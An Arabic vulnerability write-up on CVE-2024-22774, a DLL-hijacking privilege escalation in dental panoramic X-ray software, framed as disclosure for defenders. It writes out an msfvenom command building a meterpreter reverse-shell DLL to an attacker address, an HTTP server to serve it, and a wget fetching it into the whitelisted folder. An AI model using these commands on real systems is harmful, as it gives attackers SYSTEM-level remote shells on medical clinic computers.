gray-0men/cve-2024-22774برنامج التصوير البانورامي للأسنان ثغرة تصعيد الامتيازات الخفية
في الأصل، كان من المفترض أن تكون هذه مقالة عن وكالة DLL في أحد برامج أجهزة أشعة الأسنان، لكنني عثرت على DLL أثناء بحثي جعلني أتحقق منه مرة أخرى، مما أدى في النهاية إلى اكتشاف ثغرة تصعيد امتيازات حصلت لي على CVE. في بداية مسيرتي التقنية، كنت أعمل في دعم فني لإحدى شركات تصنيع أجهزة أشعة الأسنان قبل أن تغلق. أتذكر الأخطاء التي كانت تظهر أثناء العمل هناك، وكنت أعتقد دائمًا أنها فكرة جيدة لمحاولة العثور على ثغرات في هذا البرنامج. لذا، نظرًا لأن البرنامج لا يزال قيد الاستخدام حتى اليوم، قررت أن أرى ما إذا كان بإمكاني فعل شيء ممتع به الآن بعد أن خرجت من مجال دعم البرامج. أتذكر منذ فترة في بداية دراساتي في الأمن السيبراني أنه كان هناك عدد من ملفات DLL القابلة للاختطاف في هذا البرنامج، فقررت تجربة وكالة DLL لأرى ما إذا كان بإمكاني تشغيل DLL ضار مع الحفاظ على وظائف البرنامج (بطريقة خفية جدًا). إليكم العملية التي اتبعتها وكيف اكتشفت بالصدفة ثغرة تصعيد امتيازات يمكنها (نظريًا) النجاة من مسح نظيف وإعادة تثبيت نظام التشغيل. آمل أن تكون هذه المعلومات مفيدة لأعضاء فريق الدفاع الأزرق.
شيء واحد يجب ملاحظته هو أن هذا البرنامج لم يعد يتلقى تحديثات، لكنني أعلم أن أجهزة الأشعة لا تزال مستخدمة في الولايات المتحدة حتى اليوم، لذلك لا يزال هناك خطر محتمل من هذه الثغرة. يمكن تنزيله من هنا مع دليل البرنامج من هنا. شيء آخر يجب ملاحظته هو أنه إذا كان هذا البرنامج قيد الاستخدام، فهناك احتمال 99% أن العمليات التي تعمل والمواقع التالية مدرجة في القائمة البيضاء لأي ERD/AV مستخدم، وهذا مذكور أيضًا في الصفحة 24 من دليل البرنامج. في هذه المقالة، سأفعل الشيء نفسه وأضيف هذه الاستثناءات لتطابق كيفية تثبيت هذا البرنامج في كل عيادة أسنان.
بعد تثبيت البرنامج وإضافة الاستثناءات، نقوم بتشغيل Process Monitor ونبدأ البحث. أضف المرشحات التالية وأعد تشغيل "CCS Service" في الخدمات:
بمجرد أن يمتلئ، ستلاحظ وجود مجموعة من ملفات DLL القابلة للاختطاف في هذا البرنامج. سترى العديد من نتائج "NAME NOT FOUND" مع "SUCCESS" لنفس DLL، فقط في موقع مختلف بعده مباشرة. كنت أتصفح يومًا ما بحثًا عن DLL مناسب لتجربة الوكالة عليه، وفي كل مرة أقترب من الأسفل، لفت انتباهي شيء...
هل يمكن أن يكون؟؟ إنه كذلك. هذا هو DLL وهمي يتم استدعاؤه بصلاحيات SYSTEM من موقع قابل للكتابة من قبل المستخدم. ببساطة، هذا DLL غير مناسب للوكالة لأنه لا يوجد DLL فعلي في مكان ما على الجهاز، لذا سيحاول Windows استدعاءه من مجموعة محددة مسبقًا من المجلدات بترتيب معين.
وفي حالتنا، الموقع الخامس هو C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll
وهذا الموقع له جميع المستخدمين صلاحيات القراءة والكتابة والتنفيذ. والأكثر من ذلك، هذا الموقع هو مجلد فرعي من C:\ProgramData\Ajat\ الذي يجب أن يكون مدرجًا في القائمة البيضاء في كل بيئة يستخدم فيها هذا البرنامج.
إليك إعداد الشبكة لهذا الاختبار:
لنبدأ بإنشاء dll بسيط من نوع vanilla meterpreter لأننا لا نحتاج حقًا إلى القلق بشأن AV، ثم نشغل خادم http لنقله.
## msfvenom لإنشاء dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## خادم http python
python3 -m http.server 80
مرة أخرى على Windows، لننتقل إلى حساب المستخدم القياسي لدينا، ونفتح powershell، ونتجه إلى مجلد datastor ونشغل الأمر التالي:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll
إذا تم كل شيء بشكل صحيح، كل ما نحتاجه لتفعيل الاستغلال هو إعادة تشغيل الكمبيوتر (نظرًا لأن هذا شيء يمكن للمستخدم العادي فعله، فإن إعادة تشغيل CCS Service ستؤدي أيضًا إلى تفعيله).
النجاح!!!
الآن، أحد النقاط الرئيسية حول موقع datastor هو أنه أحد الموقعين اللذين يجب نسخهما احتياطيًا في حالة احتياج الكمبيوتر إلى المسح أو الاستبدال لأي سبب وإعادة تثبيت البرنامج. إذا فقدت محتويات مجلد calib، سيحتاج فني إلى القدوم وإعادة معايرة جهاز الأشعة لاستعادتها. وإذا فقدت ملفات datastor، فإنك تفقد أحدث صور الأشعة التي لم يتم حفظها بعد، لذا فإن هذا الموقع اختياري إلى حد ما للنسخ الاحتياطي. هذا الموقع هو المكان الذي سيقيم فيه البرنامج الضار، لذا من الناحية النظرية، من الممكن أن يعيد شخص ما إصابة جهاز كمبيوتر بالبرنامج الضار عن طريق الخطأ إذا استعاد محتويات datastor المنسوخة احتياطيًا، والتي تحتوي على البرنامج الضار وجميع صور الأشعة الحديثة المأخوذة، على الكمبيوتر الجديد. هذا مذكور في الصفحة الثانية من دليل البرنامج.
